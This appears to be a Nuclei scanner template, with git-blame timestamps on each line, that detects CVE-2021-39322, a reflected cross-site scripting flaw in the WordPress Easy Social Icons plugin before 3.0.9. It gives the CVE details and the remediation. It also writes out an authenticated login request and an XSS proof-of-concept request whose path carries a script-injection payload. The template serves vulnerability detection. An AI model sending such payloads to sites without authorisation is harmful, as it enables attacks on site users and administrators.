2022-02-04 19:21:50 +00:00
id : CVE-2021-39322
info :
2022-09-09 17:34:37 +00:00
name : WordPress Easy Social Icons Plugin < 3.0.9 - Cross-Site Scripting
2022-02-04 19:21:50 +00:00
author : dhiyaneshDK
severity : medium
2022-05-17 09:18:12 +00:00
description : The Easy Social Icons plugin <= 3.0.8 for WordPress echoes out the raw value of `$_SERVER['PHP_SELF']` in its main file. On certain configurations including Apache+modPHP this makes it possible to use it to perform a reflected cross-site scripting attack by injecting malicious code in the request path.
2023-09-06 12:09:01 +00:00
remediation : |
Update to the latest version of the WordPress Easy Social Icons Plugin (3.0.9) or apply the vendor-provided patch to mitigate the vulnerability.
2022-02-04 19:21:50 +00:00
reference :
- https://wpscan.com/vulnerability/5e0bf0b6-9809-426b-b1d4-1fb653083b58
2022-02-08 18:16:35 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-39322
2022-05-17 09:18:12 +00:00
- https://www.wordfence.com/vulnerability-advisories/#CVE-2021-39322
- https://wpvulndb.com/vulnerabilities/5e0bf0b6-9809-426b-b1d4-1fb653083b58
2022-02-04 19:21:50 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 6.1
2022-02-04 19:21:50 +00:00
cve-id : CVE-2021-39322
cwe-id : CWE-79
2023-04-12 10:55:48 +00:00
epss-score : 0.00234
2023-11-07 14:54:31 +00:00
epss-percentile : 0.61363
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:cybernetikz:easy_social_icons:*:*:*:*:*:wordpress:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : cybernetikz
product : easy_social_icons
2023-09-06 12:09:01 +00:00
framework : wordpress
2023-07-11 19:49:27 +00:00
tags : wordpress,cve,cve2021,wp-plugin,authenticated,wpscan
2022-02-04 19:21:50 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-02-04 19:21:50 +00:00
- raw :
- |
POST /wp-login.php HTTP/1.1
Host : {{Hostname}}
Origin : {{RootURL}}
Content-Type : application/x-www-form-urlencoded
Cookie : wordpress_test_cookie=WP%20Cookie%20check
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
2022-02-08 18:16:35 +00:00
GET /wp-admin/admin.php/</script><script>alert(document.domain)</script>/?page=cnss_social_icon_page HTTP/1.1
2022-02-04 19:21:50 +00:00
Host : {{Hostname}}
2022-02-08 18:16:35 +00:00
cookie-reuse : true
2023-07-11 19:49:27 +00:00
2022-02-04 19:21:50 +00:00
matchers-condition : and
matchers :
- type : word
2022-02-08 18:16:35 +00:00
part : body
2022-02-04 19:21:50 +00:00
words :
- '</script><script>alert(document.domain)</script>'
- type : word
2022-02-08 18:16:35 +00:00
part : header
2022-02-04 19:21:50 +00:00
words :
- "text/html"
2023-07-11 19:49:27 +00:00
- type : status
status :
- 200
2023-11-07 17:58:22 +00:00
# digest: 4b0a00483046022100d06d8c1ac96fe71ffd4841d32d8b971f6ac6a20fe4f8d9626484949a4082355c022100db629cf5b879c8c203fd1831e5b4f5df16f407ff211ac00027adbe615e13ab81:922c64590222798bb761d5b6d8e72950